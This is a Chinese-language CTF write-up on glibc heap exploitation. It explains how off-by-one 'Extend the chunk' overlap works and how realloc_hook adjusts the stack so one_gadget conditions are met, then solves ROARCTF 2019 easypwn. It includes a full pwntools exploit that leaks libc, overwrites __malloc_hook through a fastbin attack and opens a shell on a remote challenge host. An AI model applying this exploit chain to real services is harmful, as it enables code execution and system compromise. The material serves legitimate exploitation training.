pwn学习系列之Extend the chunk及realloc_hook利用
2019-10-21 09:49:47 Author: xz.aliyun.com(查看原文) 阅读量:206 收藏

堆的学习又了进一步,这次是关于Extend the chunk及realloc_hook利用

Extend the chunk原理

Extend the chunk是一种堆块漏洞利用中相当常见的套路,非常好用,它比较常见的利用条件是off-by-one等堆漏洞。
假设存在⼀個 off-by-one 漏洞,我们目的是构造overlap chunk,则构造过程应该为:
步骤1:申请三个堆块A、B、C,假定它们的size分别为sizeA、sizeB、sizeC,向A中写入数据覆盖到B中的size域,将B的size改为sizeB+sizeC。
步骤2:把B块free掉,此时根据B块的size去找下⼀块chunk的header进行inused bit检查,这里C块是被使用的,所以可以通过检查,通过检查后,free掉的堆块会根据sizeB+sizeC的大小放到bins里面。
步骤3:把C块也free掉,然后malloc(sizeB+sizeC),将刚刚被放到bins里面的chunk分配出来,这个时候C这个chunk还是在bins上面的,通过刚刚分配的chunk就可以控制chunk C的fd指针,从而实现任意地址写。
参考资料:https://wiki.x10sec.org/pwn/heap/chunk_extend_overlapping/

realloc_hook利用原理

我们知道execve的利用是有条件的,以libc.2.23.so为例

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

这个四个execve的利用条件分别要满足rax == NULL、[rsp+0x30] == NULL、[rsp+0x50] == NULL、[rsp+0x70] == NULL,存在这样的情况,当我们当直接将execve写到malloc_hook或者free_hook里面时,但这些条件全部都不满足,此时execve便无法执行。
解决问题的途径是通过调用realloc函数调整rsp,使条件满足。
realloc函数在执行时首先检查realloc_hook是否为0,如果不为0,则执行realloc_hook里的内容。下图是它的执行过程:

也就是说,我们还可以将execve写到realloc_hook里面,我们可以根据具体的环境控制程序流从realloc函数中的某个push开始执行,这个时候函数的堆栈会发生变化,同时rsp也发生变化,这个时候我们就可以使rsp满足execve执行条件。程序流的控制可以将malloc_hook写为realloc+x,至于是从哪个push开始执行,需要根据具体的环境进行调试。
调试的过程还可以参考一下某位师傅的做法,参考链接:https://blog.csdn.net/Maxmalloc/article/details/102535427

实例:ROARCTF 2019 easypwn

该题目主要用到了上面所讲的知识点,漏洞清晰,常规套路明显。
首先checksec,保护全开

题目提供了一个选择栏目

漏洞存在于堆块编辑函数

sub_E26中存在off by one漏洞

思路分析:存在off by one漏洞,所以可以进行Extend the chunk,构造overlap chunk进而实现任意地址写,然后修改malloc_hook,但是这里不能直接修改malloc_hook为execue,因为堆栈环境不满足one_gadget的栈需求条件,所以为了让one_gadget执行,需要利用realloc进行一个堆调整,从而使one_gadget得到执行。

第一步:泄露libc 地址

题目存在show函数,所以可以结合Extend the chunk和unsorted bin特点进行泄露。

add(24) #0
add(24) #1
add(56) #2
add(34) #3
add(56) #4
edit(0,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91')
delete(1)
add(56) #1

show(2)
address = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print  "address:" + hex(address)

第二步:再次进行Extend the chunk,构造overlap chunk

libc_Addr = address-(0x7ffff7dd1b78-0x7ffff7a0d000)
malloc_hook_fkchunk = libc_Addr + 0x3c4aed
#malloc_hook_fkchunk = libc_Addr +a.symbols['__malloc_hook']-0x23
add(56)#5
add(24)#6 chunkA
add(24)#7 chunkB-->x91  
add(90) #8  --> chunkC 0x70
add(90) #9
add(24) #10

edit(6,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91')  #chunkA
delete(7)  #chunkB
delete(8)  # overlap chunkC
add(110) #7 
edit(7,120,'l'*0x10+'\x00'*8+'\x71'+'\x00'*7+p64(malloc_hook_fkchunk)+'\x00'*70)

这里需要注意的是我们用的是fastbin attack,所以构造的malloc_hook_fkchunk 要满足fastbin的size字段校验,这里调试的size=0x7f,所以伪造的overlap chunk 大小应该为0x70。

第三步:利用realloc_hook执行one_gadget

one =  libc_Addr+0x4526a#0xf02a4#0x4526#a0xf1147#0x45216#
ralloc_hook = libc_Addr +a.symbols['__realloc_hook']
realloc=libc_Addr+a.symbols['__libc_realloc']
add(90) #10 0x70
add(90)#11 0x70 --> malloc_hook_fk_chunk
edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc+2)+'\x00'*63)
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(90))
p.interactive()

这里的edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc+2)+'\x00'*63)中one和realloc+2写入的位置分别是realloc_hook 和malloc_hook。

完整exp:

from pwn import*

#p = process("./easy_pwn")
p = remote("39.97.182.233",36545)

context.log_level = 'debug'
a = ELF("./libc-2.23.so")
def add(size):
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("size:")
    p.sendline(str(size))

def edit(idx,size,content):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("index: ")
    p.sendline(str(idx))
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.sendline(content)

def delete(idx):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(idx))

def show(idx):
    p.recvuntil("choice:")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(idx))

add(24) #0
add(24) #1
add(56) #2
add(34) #3
add(56) #4
edit(0,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91')
delete(1)
add(56) #1

show(2)
address = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print  "address:" + hex(address)

libc_Addr = address-(0x7ffff7dd1b78-0x7ffff7a0d000)

malloc_hook_fkchunk = libc_Addr + 0x3c4aed

one =  libc_Addr+0x4526a#0xf02a4#0x4526a0xf1147  #0x45216#
ralloc_hook = libc_Addr +a.symbols['__realloc_hook']
realloc=libc_Addr+a.symbols['__libc_realloc']
print  "one :" + hex(one)
print  "ralloc_hook :" + hex(ralloc_hook )
add(56)#5
add(24)#6
add(24)#7-->x91
add(90) #8 
add(90) #9
add(24) #10

edit(6,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91')
delete(7)
delete(8)
add(110) #7

edit(7,120,'l'*0x10+'\x00'*8+'\x71'+'\x00'*7+p64(malloc_hook_fkchunk)+'\x00'*70)
add(90)
add(90)#11
edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc+2)+'\x00'*63) 

p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(90))
p.interactive()

题目见附件


文章来源: http://xz.aliyun.com/t/6559
如有侵权请联系:admin#unsafe.sh